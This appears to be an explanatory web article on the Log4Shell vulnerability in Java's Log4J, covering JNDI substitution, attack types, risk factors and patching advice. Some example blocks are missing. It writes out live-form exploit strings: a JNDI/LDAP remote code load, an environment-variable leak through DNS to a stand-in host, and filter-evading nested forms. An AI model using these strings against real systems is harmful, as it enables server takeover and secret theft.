What is Log4Shell? Causes and effects of the Java vulnerability

The Log4Shell vulnerability shook the cyber world at the end of 2021. Attackers were able to infiltrate the systems of the largest organizations globally with little effort. Keep reading to find out what Log4Shell is and what precautions you can take.

Log4Shell is one of the most serious Java vulnerabilities discovered to date. In addition to tapping sensitive data, the vulnerability can be exploited to open reverse shells on remote systems. If a reverse shell exists, attackers can insert further malicious code or take over the system completely. The US National Vulnerability Database (NVD) rated the Log4Shell vulnerability as “Critical” with the highest score of 10.0, giving it the widest scope to date.

The underlying vulnerability was located in the widely used Java logging library Log4J. More than 35,000 packages on Maven Central, the largest Java repository, were affected by the vulnerability once it became known. Log4Shell threatened thousands of products from hundreds of vendors. Hardware solutions were also affected in addition to cloud services and software.

The fact that the Log4Shell vulnerability had existed since 2013 was particularly worrying. It went unnoticed by the public, which made it possible to infiltrate a wide variety of systems, including those of large providers. We know now that professional groups such as intelligence services and hackers actively exploited the vulnerability to attack systems and steal data.

“Log4Shell” describes the basic operating principle of the vulnerability. A vulnerability in the Java logging library Log4J is exploited to launch a reverse shell on a remote system. But what is Log4J and what is a reverse shell exactly?

The Log4J library is maintained by the Apache Software Foundation. It is one of the most widely used standard tools for logging in Java. Logging functionality is an essential part of larger systems which are continuously generating, evaluating, and storing status messages. Data logged by default includes header information which is transmitted to web servers in HTTP requests. Below is an example of an Apache log entry. The last part is the user agent string:

A reverse shell is a gateway which allows attackers to manipulate or take over a remote system. Starting a reverse shell is in every criminal hacker’s repertoire. It usually requires existing access to the affected system, which can be created with little effort by exploiting the Log4Shell vulnerability.

The string substitutions in the Log4J functionality are the main problem with the Log4Shell vulnerability. Substitutions allow dynamic content to be inserted in placeholders. This is similar to the substitution of variables in shell scripts. In terms of security, it is problematic if the contents of substitutions can be manipulated from the outside. This is exactly the case when user-defined data such as the user agent string is logged.

Let’s take a look at how substitutions are constructed and how they work. The general syntax of a substitution consists of two parts. The first is a placeholder which is formed with a dollar sign followed by curved brackets and the second is a prefix-name which separated by a colon:

The prefix specifies the type of substitution which should be carried out. The following sample code is substituted with the Java version of the running system when executed:

It possible for attackers to exploit known respective Java vulnerabilities with this seemingly harmless example. In fact, several possible substitutions are critical to the system’s security. In the context of Log4Shell, JNDI lookup substitutions became particularly notorious.

The Java Naming and Directory Interface (JNDI) allows you to reload configurations from a local Java class. However, it is also possible to load configurations from a remote system using JNDI. Log4Shell attacks used an LDAP server under the attacker’s control, which delivered the malicious code to open the reverse shell. This is because a Java class can contain arbitrary code.

It was therefore sufficient to substitute a string of the form ${jndi:ldap://example.com/evil-file} into a system with vulnerable Log4J. Exploit code can be reloaded from an LDAP server once the substitution is triggered. The exploit can be carried out on the vulnerable system. This allows scareware and other malware to be installed depending on the attacker’s target.

The prefixes “env” and “base64” can also be used for attacks. Below is an overview of the available substitution prefixes including the context:

A vulnerability can be exploited by following a specific procedure. This is called an exploit. Multiple exploits often exist for a single vulnerability. This is also the case with Log4Shell. There were two main types of attack once it became known. They differed in the JNDI used:

1. Take over server or device

A reverse shell is launched on the target system in this type of attack. This may involve additional exploits to execute malicious code on the target system. This situation is possible by logging a specially prepared string.

To attack a vulnerable web server, it is sufficient to query any resource and use an exploit string as a user agent. The web server logs the exploit string, the substitution is executed, and the attack begins. Below is an example of a logged exploit string:

2. Tap sensitive data

This type of attack reads sensitive data in the form of environment variables from the target system. The exploit relies on dynamically creating an apparent DNS name resolution by substitution. This involves encoding the value of an environment variable as a subdomain:

Attackers use a system under their own control as a bridgehead in both cases. In the first case, it is an LDAP server that delivers malicious code. In the second case, the name server where the DNS request is sent is under the control of the attackers. Let’s look at this case in detail.

Let’s imagine that an environment variable named “DB_PASS” on the vulnerable system contains the password for a database. Let’s assume that the value is e3CtDewUUwAfiwWTFtAhfettlQ2Lp5. The exploit string ${jndi:dns://${env:DB_PASS}.example.com} triggers a DNS query for the subdomain e3CtDewUUwAfiwWTFtAhfettlQ2Lp5.example.com.

The DNS request for example.com goes to the name server under control of the attackers. The malicious name server reads the value of the subdomain and stores it. The attackers then obtain the vulnerable server’s database password.

The Log4Shell vulnerability resulted from a combination of risk factors. Let’s look at the most important ones:

1.The Java vulnerability is in the logging library.

A logging library like Log4J seems relatively harmless at first. A logging library is likely to be viewed less critically, in comparison to libraries for authentication or encryption.

2. Java is widely used.

Java’s unique selling point as a language and environment is that Java runs on virtually all platforms. Therefore, the Log4Shell vulnerability can affect an enormous number of programs and services. Java is also partly integrated in embedded systems such as routers and Internet of Things devices. These include private cameras and smart home devices.

3. A stack of technologies is involved.

The security problem arises from the linking of several technologies. The combination of Log4J, JNDI, LDAP and string substitutions leads to the security gap and opens the door to attacks.

4. The exploit seeps to deeper levels.

In a best-case scenario, the damage can remain localized if a vulnerability only affects the vulnerable system. However, let’s imagine that an exploit string is received and logged with a web interface. The exploit string can possibly be passed on to underlying systems and only become active when evaluated there.

5. Exploit strings are difficult to detect.

There are many ways to disguise malicious code due to the complexity of possible substitutions. For example, nested substitutions are possible. A string of the form ${${lower:j}ndi} does not directly contain the string jndi and cannot be automatically filtered. The string ${jndi} is only created during resolution. It is also possible to disguise parts of the code with Base64 encoding, evaluating the string ${base64:SGVsbG8gV29ybGQhCg==} to “Hello World!”.

There were widespread attacks on systems worldwide following the reports of the Log4Shell vulnerability. Servers and devices were taken over and the theft of sensitive data was noted. Ten days after the exploits were published, the cybersecurity firm Wiz summarized that:

The systems taken over were misused to mine crypto coins, create botnets and send spam, among other things. Backdoors were also created to enable future execution of criminal activities such as ransomware attacks. An attack that aims to remain undetected and infiltrate more systems is known as an advanced persistent threat (APT).

Larger organizations reacted quickly once they learned about Log4Shell and took steps to protect their systems. However, there are probably many unpatched systems are still at risk. This is because attackers can scan a target system to find vulnerabilities.

Fighting against the Log4Shell vulnerability is made more complicated by the fact that detecting vulnerable systems can be difficult. It is not trivial to test for vulnerable versions of Log4J when Java applications are running as containers or are available as an archived JAR file or container image. It is important to know if a vulnerable version is being used in order to secure it. Otherwise the system will be vulnerable to attack through the Log4Shell vulnerability.

Smart home and other IoT or embedded systems are more problematic than cloud and server environments. These include networked devices such as home routers, security cameras, etc. Since the Log4Shell vulnerability has existed for years, it is likely that devices with insecure versions are still in use. This is likely if support has already expired or the vendor no longer exists and there are usually no patches or updates available.

A comprehensive list of software affected by Log4Shell can be found on GitHub. The list is maintained by the Dutch National Cyber Security Centrum (NCSC-NL). The list is sorted by the first letter of the respective manufacturer due to the amount of vulnerable software.

Private users were also affected by Log4Shell. Many of the most popular online services were vulnerable at the time of publication. These included Minecraft, Steam, AWS and Apple’s iCloud. In general, the major providers responded quickly. So there is need to delete your Steam account or switch to an AW alternative.

However, if you run your own Minecraft server, you should update the Minecraft server to the latest version. Sending an exploit string as a chat message can be enough to take over the server with vulnerable versions.

Hardware used in homes or small businesses which is vulnerable to the Log4Shell vulnerability can still pose a threat to home users. Presenting a specially crafted barcode to a surveillance camera can also be enough to take over the device.